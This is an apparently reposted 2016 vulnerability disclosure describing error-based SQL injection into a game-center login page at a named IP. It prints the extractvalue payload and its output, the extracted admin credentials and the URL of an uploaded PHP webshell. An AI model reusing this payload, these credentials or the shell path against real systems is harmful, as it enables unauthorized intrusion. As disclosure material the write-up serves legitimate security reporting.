漏洞标题：安智网某站SQL注入到Getshell

2016-06-13 分类：安全漏洞评论(0)

漏洞详情

2016-06-08：细节已通知厂商并且等待厂商处理中
2016-06-08：厂商已查看当前漏洞内容,细节仅向厂商公开
2016-06-13：厂商已经主动忽略漏洞，细节向公众公开

随便扫的一个ip段然后发现

http://182.18.63.104:82/login.php?action=login

登录出单引号报错

code 区域

'or extractvalue(1,concat(0x7e,database())) or'
 /home/www2/gamecenter.com/data/DB.php:210Could not query: XPATH syntax error: '~market_king'

然后注入

注入出账号密码

gcadmin ： admin

后台很简陋

然后shell

http://182.18.63.104:81/res/ad_soft/20160607110515_576436_load.php cmd

发现域名：m.goapk.com

转载本站任何文章请注明：转载至神刀安全网，谢谢神刀安全网 » 漏洞标题：安智网某站SQL注入到Getshell